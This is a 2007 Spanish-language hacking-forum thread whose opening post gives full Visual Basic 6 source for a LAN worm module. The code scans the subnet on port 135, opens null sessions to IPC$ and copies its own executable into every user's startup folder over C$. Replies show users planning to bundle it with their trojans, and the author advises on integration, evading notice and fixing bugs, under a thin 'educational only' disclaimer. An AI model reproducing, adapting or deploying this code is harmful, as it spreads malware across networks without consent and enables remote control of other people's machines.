Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Mad Antrax en 14 Julio 2007, 20:56 pm



Título: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: Mad Antrax en 14 Julio 2007, 20:56 pm
NetBios infection Module 1.0

Alguien ha pedido como hacer que nuestra aplicación hecha en VB6 infecte todos los equipos de una LAN de forma automática? Bien, aquí tienes un sencillo módulo que permite hacer tal cosa.

Para ello me he aprovechado de las flaquezas del protocolo NetBios, así como el poder de las sesiones nulas al IPC$ para infectar una LAN.

Este código es algo peligroso y sólo lo publico como prueba de concepto, el fin de este código es puramente educativo y didáctico, cualquier otro fin que le podáis dar será calificado como ilegal y el autor no se responsabilizará de los efectos causado por él. Para probar esta código es necesario hacerlo bajo unas estrictas medidas de seguridad y bajo un entorno de prueba. Prohibido usarlo en redes de trabajo reales.

sin más que añadir... aquí lo tenéis.

Código
  1. '##############################################'
  2. '#                                            #'
  3. '# NetBios LAN Infection Module - version 1.0 #'
  4. '#                                            #'
  5. '# Made by ||MadAntrax||                      #'
  6. '# Date: 14/jul/07                            #'
  7. '#                                            #'
  8. '#                       Happy Coding... ;D   #'
  9. '##############################################'
  10.  
  11. Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
  12. Dim WS As CSocketMaster
  13.  
  14. Sub Main()
  15.    Set WS = New CSocketMaster      'Modulo Winsock de CSocketMaster
  16.    Dim SelfIP As String            'Nuestra propia IP de la LAN
  17.    Dim SubNet As String            'Nuestra SubRed, ejemplo: 192.168.1.X
  18.    Dim SubNetArray As String       'Almacenamos los Hosts de la LAN que son vulnerables
  19.    Dim BufferIP() As String        'Almacenamos los octetos de nuestra IP
  20.  
  21.    SelfIP = WS.LocalIP             'Obtenemos nuestra IP de la LAN
  22.    BufferIP = Split(SelfIP, ".")   'Partimos los octetos en un Array
  23.  
  24.    If UBound(BufferIP) = 3 Then
  25.        SubNet = BufferIP(0) & "." & BufferIP(1) & "." & BufferIP(2)    'Obtenemos nuestra SubRed: 192.168.1.X
  26.  
  27.        SubNetArray = GetAliveHosts(SubNet, BufferIP(3))                'Obtenemos los Hosts que son vulnerables a NetBios
  28.        If SubNetArray <> "0" Then                                      'Comprobamos que hay Hosts vulnerables en nuestra LAN
  29.            Call GetPrivilegesOnSubNet(SubNet, SubNetArray)             'Obtenemos privilegios sobre los Hosts vulnerables gracias a IPC$
  30.            DoEvents                                                    'Esperamos...
  31.            Call InfectSubnet(SubNet, SubNetArray)                      'Infectamos los Hosts vulnerables gracias a C$
  32.        End If
  33.    End If
  34. End Sub                                                                 'Fin del Código
  35.  
  36. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  37. 'Función que almacena en un array el último octeto de la dirección IP de
  38. 'todos los Hosts de la LAN que son vulnerables a NetBios
  39. '
  40. 'Ejemplo:
  41. 'Supongamos que encontramos estos Hosts
  42. '   192.168.1.5
  43. '   192.168.1.10
  44. '   192.168.1.128
  45. '   192.168.1.200
  46. '
  47. 'Esta función devuelve: "5,10,128,200"
  48. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  49. Function GetAliveHosts(ByVal SubNet As String, ByVal MyHost As String) As String
  50.    Dim AliveHosts As String                                    'Array donde se almacenan los Hosts vulnerables
  51.  
  52.    AliveHosts = ""
  53.    WS.Protocol = sckTCPProtocol                                'Establecemos el protocolo en TCP
  54.    For i = 1 To 254                                            'Bucle desde X.X.X.1 hasta X.X.X.254
  55.        If WS.State <> sckClosed Then WS.CloseSck               'Si el Socket no está cerrado, lo cerramos para evitar errores.
  56.        DoEvents                                                'Esperamos...
  57.            WS.Connect SubNet & "." & i, 135                    'Nos conectamos a todos los Hosts de la LAN al puerto 135 TCP (NetBios)
  58.        Sleep 500                                               'Esperamos 1/2 Segundo...
  59.        If WS.State = sckConnected And i <> MyHost Then         'Si el Hosts es vulnerable y el Host no es MiPC entonces...
  60.            AliveHosts = AliveHosts & i & ","                   '   añadimos el octeto del Host en el Array
  61.        End If                                                  'End If
  62.    Next i
  63.  
  64.    If Len(AliveHosts) > 0 Then                                 'Si hemos encontrado al menos 1 Host vulnerable...
  65.        AliveHosts = Left(AliveHosts, Len(AliveHosts) - 1)      '   quitamos el último caracter del Array (siempre es una ",") para evitar errores.
  66.        GetAliveHosts = AliveHosts                              '   devolvemos el Array como valor de retorno
  67.        Exit Function                                           '   finalizamos esta función
  68.    End If                                                      'End If
  69.    GetAliveHosts = "0"                                         'Si no hemos encontrado ningún Host vulnerable en la LAN, devolvemos "0"
  70. End Function
  71.  
  72. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  73. 'Función que aprovecha el bug del IPC$ para establecer sesión nula (Null Session)
  74. 'en todos los Hosts de la LAN que son vulnerables a NetBios
  75. '
  76. 'Ejemplo:
  77. 'Supongamos que encontramos estos Hosts
  78. '   192.168.1.128
  79. '   192.168.1.200
  80. '
  81. 'Esta función ejecuta:
  82. '   net use \\192.168.1.128\ipc$ "" /user:""
  83. '   net use \\192.168.1.200\ipc$ "" /user:""
  84. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  85. Function GetPrivilegesOnSubNet(ByVal SubNet As String, ByVal SubNetArray As String)
  86.    Dim tmpArray() As String
  87.    Dim tmpIP As String
  88.  
  89.    tmpArray = Split(SubNetArray, ",")
  90.    For i = 0 To UBound(tmpArray)
  91.        tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\ipc$ "
  92.        Shell "net use " & tmpIP & Chr(34) & Chr(34) & " /user:" & Chr(34) & Chr(34), vbHide
  93.    Next i
  94.    'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
  95. End Function
  96.  
  97. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  98. 'Función que copia nuestro ejecutable en la carpeta INICIO de todos los usuarios
  99. 'de los Hosts vulnerables a NetBios, para ello utiliza C$
  100. '
  101. 'Ejemplo:
  102. 'Supongamos que encontramos estos Hosts
  103. '   192.168.1.128
  104. '   192.168.1.200
  105. '
  106. 'Esta función ejecuta:
  107. '   copy "MiRuta\MiEjecutable.exe" "\\192.168.0.128\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
  108. '   copy "MiRuta\MiEjecutable.exe" "\\192.168.0.200\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
  109. '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  110. Function InfectSubnet(ByVal SubNet As String, ByVal SubNetArray As String)
  111.    Dim tmpArray() As String
  112.    Dim tmpIP As String
  113.  
  114.    tmpArray = Split(SubNetArray, ",")
  115.    For i = 0 To UBound(tmpArray)
  116.        tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
  117.        Shell "copy " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & tmpIP & "\updater.exe" & Chr(34), vbHide
  118.    Next i
  119.    'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
  120. End Function
  121.  



Que hace este código?

Primero obtiene nuestra IP y toma por defecto que se trata de una red de clase C (255.255.255.0), a partir de aquí crea un bucle desde:

X.X.X.1 hasta X.X.X.254 he intenta conectar al puerto 135 de TCP (NetBios), si lo consigue entonces establece una sesión nula (net use X.X.X.128ipc$ "" /user:"") para luego copiarse en la carpeta inicio de todos los usuarios bajo la unidad C$

Dudas, comentarios, sugerencias, criticas.. aquí porfavor :P


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: securedigital en 14 Julio 2007, 21:02 pm
Simplemente , Cojonudo !!!
(quizas es tu record en hacer un script/pgr, tardaste poquisimo....)

SAludos


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: 3k1n0x en 14 Julio 2007, 21:14 pm
jeje q bueno, pero alguien sabe si funciona en todos los casos, es decir funciona en xp service pack 2 con actualizaciones?


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: Mad Antrax en 14 Julio 2007, 21:18 pm
jeje q bueno, pero alguien sabe si funciona en todos los casos, es decir funciona en xp service pack 2 con actualizaciones?

Sí, funciona en la mayoría de casos. El sistema operativo en este caso tiene que ser un Windows 2000 (cualquier ServicePack), Windows XP (con cualquier Service Pack). El único requisito es que los equipos estén en un Dominio o Grupo de Trabajo y tengan el puerto 135 habilitado.

He usado rutas como "Menú InicioProgramasInicio", eso significa que sólo funcionaría en equipos con el Windows en Castellano.

Salvando esos inconvenientes, este código es bastante efectivo y combinándolo con algún otro tipo de infección (por ejemplo infección de pendrives o similares) consigues expandir tu ejecutable de forma rápida y efectiva


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: d(-_-)b en 14 Julio 2007, 21:21 pm
Gracias ||MadAntrax||  el code es muy bueno.

Saludos...by...Dominicano


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: HALC12 en 14 Julio 2007, 21:25 pm
haber me van a disculpar por preguntar esto  pero es que casi no estoy familiarizado con esto  de conexiones  

mi duda  es que si este modulo lo tengo que llamar desde el formulario,
me explico yo tengo mi troyano    bueno  
le puedo anexar este modulo para hacer que se expanda por toda la red lan?
que efectos negativos le trairia al pc en el que se ejecute.



Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: Mad Antrax en 14 Julio 2007, 21:30 pm
haber me van a disculpar por preguntar esto  pero es que casi no estoy familiarizado con esto  de conexiones 

mi duda  es que si este modulo lo tengo que llamar desde el formulario,
me explico yo tengo mi troyano    bueno 
le puedo anexar este modulo para hacer que se expanda por toda la red lan?
que efectos negativos le trairia al pc en el que se ejecute.

Para llamarlo desde tu proyecto te recomiendo que agregues el Modulo principal "Module1.bas" y los de CSocketMaster (si no lo tienes ya) a tu proyecto.

Después haces:

Código
  1. Sub Form1_Load()
  2.   Call Module1.Main()
  3. End Sub

El Módulo puede demorarse un poco si encuentra muchos Hosts vulnerables, en los entornos de prueba donde lo he testeado ha tardado algo menos de 1 minuto en infectar 20 equipos.

En el PC donde lo ejecutes es posible que se le disparen muchos procesos NET.EXE que se pueden visualizar desde el TaskManager, recomiendo deshabilitarlo antes por politicas.

Saludos!!


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: HALC12 en 14 Julio 2007, 21:55 pm
pero en los pc que se copia no da aviso de nada osea si alguien  esta trabajando en ese pc se daria de cuenta o no espero que me netiendas
el troyano es para poderme conectar a los pc de toda la red


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: Mad Antrax en 14 Julio 2007, 22:00 pm
pero en los pc que se copia no da aviso de nada osea si alguien  esta trabajando en ese pc se daria de cuenta o no espero que me netiendas
el troyano es para poderme conectar a los pc de toda la red

No, el equipo "infectado" no se dará cuenta. Si tiene un firewall monitoreando el puerto 135 es posible que le aparezca un popup bloqueando la conexión y mostrando la dirección IP del emisor del paquete, pero eso ocurre pocas veces, nade se alarma por una alerta en el puerto 135 a no ser que sea un usuario "paranoico de su seguridad".


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: WHK en 14 Julio 2007, 22:33 pm
Citar
pero eso ocurre pocas veces, nade se alarma por una alerta en el puerto 135 a no ser que sea un usuario "paranoico de su seguridad".
:P yo así tengo configurado mi Zone alarm y verifico los 4 puertos mas esenciales que son puerto 135 de TCP/UDP y los puertos 139, 445 y 593 de TCP para llamadas a procedimiento remoto RPC DCOM.

Felicidades nuevamente, miraré muy minusiosamente tu código porque hay mucho que rescatar.


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: wACtOr en 14 Julio 2007, 23:14 pm
muy weno mad, eres tremendo. e hestado probandolo con mis 3 pcs, pero deben estar parcheados por que no crea el upodater.exe

por cierto, me puedes explicar a si por encima como usar los modulos socketmaster?

es que me gustaria incluirlos en mi troya, pero no se como funcionan.

gracias mad y otra vez, un EXCELENTE trabajo


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: Mad Antrax en 14 Julio 2007, 23:45 pm
muy weno mad, eres tremendo. e hestado probandolo con mis 3 pcs, pero deben estar parcheados por que no crea el upodater.exe

por cierto, me puedes explicar a si por encima como usar los modulos socketmaster?

es que me gustaria incluirlos en mi troya, pero no se como funcionan.

gracias mad y otra vez, un EXCELENTE trabajo

Tienes un grupo de trabajo creado con tus 3 PC''s?
Tienes firewall habilitado en alguno de tus PC''s
Están los 3 equipos dentro de la misma subred?
Tienes habilitado el servicio de Compartir archivos e impresoras en los 3 PC''s?

Lo de CSocketMaster es fácil, si te lo bajas de www.pscode.com trae un TXT explicándolo.

Saludos!!


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: ~~ en 14 Julio 2007, 23:54 pm
Clap clap clap excelente Mad, esta vez te has salido  ;)


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: wACtOr en 15 Julio 2007, 00:15 am
Citar
Tienes un grupo de trabajo creado con tus 3 PC''''s?
Tienes firewall habilitado en alguno de tus PC''''s
Están los 3 equipos dentro de la misma subred?
Tienes habilitado el servicio de Compartir archivos e impresoras en los 3 PC''''s?
Si a todo, como en windows xDD
si tengo todo ello hecho. lo de la subred es el mismo rango de ip no? me explico un poco : una subred seria por ejemplo 192.168.1.12, 192.168.1.13, etc.

si por ejemplo tuviera 192.168.0.12 y 192.168.1.13 no seria una subred. es asi??

Gracias.

PD aora me bajo de pscode a ver si saco algo en claro



Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: Sancho.Mazorka en 15 Julio 2007, 05:01 am
Perfecto!!!  Sos un idolo con VB6, ojala que sigas asi (y que mejores  :xD)


Sancho.Mazorka    :¬¬


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: Karcrack en 15 Julio 2007, 17:08 pm
Esto me va a venir de perlas  :P.
Gran aporte MadAntrax  :o


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: Meg en 15 Julio 2007, 17:53 pm
Esta vez te has lucio  ;D, na enserio esta muy bien ese codigo... tanto estudiar en clase de redes sobre subneting y  de IP,s... y ahora ya se como puedo sacar buen provecho a todo eso  ;D la verdad es k no se me habia ocurrio xDD


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: 3k1n0x en 18 Julio 2007, 05:36 am
yo probe esto en una computadora conectada a otra en red lan, le probe con varias funciones de downloader haber si funka y nada no funka no se movio ni un pelito la otra pc, siempre chekeaba y nada q aparece el uptader.exe en ningun lado supongo q aparece en una carpeta de esas raras con %..., no funciono nada, a lo mejor era el firewall q se reia de mi :xD, q va.. no era el firewall xq lo desactive tambien hasta el antivirus y no funka, y eso de tener activado compartir impresoras ps si esta xq sencillamente mandas a imprimir algo desde esa pc y lo imprime en la pc (la otra) sera q sta mal el codigo¿ o ya hay parche¿ intentare de nuevo..


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: Mad Antrax en 18 Julio 2007, 23:27 pm
yo probe esto en una computadora conectada a otra en red lan, le probe con varias funciones de downloader haber si funka y nada no funka no se movio ni un pelito la otra pc, siempre chekeaba y nada q aparece el uptader.exe en ningun lado supongo q aparece en una carpeta de esas raras con %..., no funciono nada, a lo mejor era el firewall q se reia de mi :xD, q va.. no era el firewall xq lo desactive tambien hasta el antivirus y no funka, y eso de tener activado compartir impresoras ps si esta xq sencillamente mandas a imprimir algo desde esa pc y lo imprime en la pc (la otra) sera q sta mal el codigo¿ o ya hay parche¿ intentare de nuevo..

Uaaaa, ya sé porqué no te funciona. (Ha sido un fallo mio).

Código
  1. For i = 1 To 254                                            'Bucle desde X.X.X.1 hasta X.X.X.254
  2.        If WS.State <> sckClosed Then WS.CloseSck               'Si el Socket no está cerrado, lo cerramos para evitar errores.
  3.        DoEvents                                                'Esperamos...
  4.            WS.Connect SubNet & "." & i, 135                    'Nos conectamos a todos los Hosts de la LAN al puerto 135 TCP (NetBios)
  5.        [b]Sleep 500[/b]                                               'Esperamos 1/2 Segundo...
  6.        If WS.State = sckConnected And i <> MyHost Then         'Si el Hosts es vulnerable y el Host no es MiPC entonces...
  7.            AliveHosts = AliveHosts & i & ","                   '   añadimos el octeto del Host en el Array
  8.        End If                                                  'End If
  9.    Next i

Es por culpa del Sleep, esa función "duerme" todas las acciones del VB, incluido el IF que hay debajo, por eso en algunos equipos el scanning no funcionara del todo bien. Luego mejoro eso.

Otro error...

Código
  1. tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"

Se copia en el perfil All Users, ese perfil está como solo lectura para todos los usuarios y escritura para los Administradores. Si el equipo desde donde lanzas el virus no es administrador de los otros equipos no logrará copiarse. En mi caso utilizo un dominio y lo lancé bajo los credenciales de Administrador del Dominio, por eso a mi me ha funcionado y a ti no. Lo he probado en un grupo de trabajo normal y no funciona xD

Este fin de semana me pongo y lo arreglo, ok? Lo siento y saludos!!


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: 3k1n0x en 27 Julio 2007, 21:10 pm
alguien a hecho algo ? nose algo para ver si funka o mandrax o alguien sabe donde esta el fallo¿


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: Freeze. en 27 Julio 2007, 22:48 pm
Esta muyyyy bien... Espero que MadAntrax lo solucione rapido para poder usarlos todoss...

Por supuesto Muchas Gracias a él....


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: Freeze. en 2 Agosto 2007, 15:08 pm
Mad por aqui... Intenta arreglar ese code que prometiste :P :P :P :P :xD :xD :xD :xD :xD

Hace falta jaja Por favor...

Gracias de antemano se que lo lograras ;)


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: Karcrack en 2 Agosto 2007, 18:25 pm
-Freeze-:
Mira aki http://foro.elhacker.net/index.php/topic,174740.msg828987.html#msg828987


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: Freeze. en 2 Agosto 2007, 20:43 pm
Ok,,... Gracias...


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: Hole_System en 5 Julio 2008, 08:03 am
Por fin le dieron resultado a este proyecto..

Saludos..


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: cast0r en 5 Julio 2008, 21:20 pm
Ha alguo le ha funcionado? creo que esta parchaeado por xp ya, si alguno a logrado hacerlo funcionar nos serviria de ayuda que lo dijera gracias


Título: Re: [Source] NetBios infection Module (ojo que es peligroso!)
Publicado por: el_c0c0 en 9 Julio 2008, 21:02 pm
.